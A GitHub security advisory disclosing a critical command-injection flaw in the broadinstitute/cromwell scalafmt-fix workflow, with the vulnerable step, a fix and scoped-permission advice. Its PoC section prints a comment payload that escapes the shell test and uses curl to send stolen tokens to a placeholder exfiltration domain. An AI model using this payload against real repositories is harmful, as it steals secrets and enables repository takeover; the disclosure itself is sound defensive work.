GitHub Advisoryadvisory · GitHub Actions
GHSA-phf6-hm3h-x8qp Cromwell GitHub Actions Secrets exfiltration via `Issue_comment`
CRITICAL
Official page ↗
- Ecosystem
- GitHub Actions
- Packages
- broadinstitute/cromwell
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- Weaknesses
- CWE-78
- Reviewed
- 2025-05-28
Affected packages
• GitHub Actions broadinstitute/cromwell: >= 87, < 90 → fixed in 90
Description
Summary
Using `Issue_comment` on `.github/workflows/scalafmt-fix.yml` an attacker can inject malicious code using `github.event.comment.body`. By exploiting the vulnerability, it is possible to exfiltrate high privileged `GITHUB_TOKEN` which can be used to completely overtake the repo since the token has content privileges. In addition ,it is possible to exfiltrate also the secret:
• `BROADBOT_GITHUB_TOKEN `
Details
The `Issue_comment` in GitHub Actions might be an injection path if the variable isn't handle as it should. In the following step it's vulnerable because it directly interpolates untrusted user input into a shell script.
```
• name: Check for ScalaFmt Comment
id: check-comment
run: |
if [[ "${{ github.event_name }}" == "issue_comment" && "${{ github.event.comment.body }}" == *"scalafmt"* ]]; then
echo "::set-output name=comment-triggered::true"
else
echo "::set-output name=comment-triggered::false"
fi
```
In this case, it is possible to exfiltrate `GITHUB_TOKEN` and `BROADBOT_GITHUB_TOKEN` secrets.
PoC
To exploit the vulnerability an attacker can just drop a comment to any issue formed in the following way to exploit the vulnerability in the workflow `.github/workflows/update_pylon_issue.yml`.
```
test" == "test" ]]; then
& curl -s -d "$B64_BLOB" "https://$YOUR_EXFIL_DOMAIN/token" > /dev/null #
```
To prove this is possible, we created an issue and we added a comment with the malicious code to extract the `GITHUB_TOKEN` and `BROADBOT_GITHUB_TOKEN` secret. With the `GITHUB_TOKEN` extracted we were able to push a new poc tag which has been deleted after a couple of minutes.
Impact
Usually with GITHUB_TOKEN and write permissions, an attacker is able to completely overtake the repo.
```
GITHUB_TOKEN Permissions
Actions: write
Attestations: write
Checks: write
Contents: write
Deployments: write
Discussions: write
Issues: write
Metadata: read
Models: read
Packages: write
Pages: write
PullRequests: write
RepositoryProjects: write
SecurityEvents: write
Statuses: write
```
We also checked `BROADBOT_GITHUB_TOKEN` permission to check if we could move laterally to org level. In this case the token seems scoped to this specific repo but it gives an attacker persistence without the need of a valid `GITHUB_TOKEN`.
We suggest to rotate the `BROADBOT_GITHUB_TOKEN` token asap.
Fix
• Avoid directly interpolating untrusted user input into a shell script. Use GitHub Actions input context safely like:
```
• name: Dump comment
run: echo "Comment Body: $BODY"
env:
BODY: ${{ github.event.comment.body }}
```
This safely passes the comment as an environment variable rather than interpolating it in-place.
• Scope GIHTUB_TOKEN permissions to just what the actions needs to do. In this case, if it's specific for issues:
```
permissions:
issues: write
```
Kindly reported by @darryk10 @AlbertoPellitteri @loresuso
Related
Weakness · CWE (1)
- CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness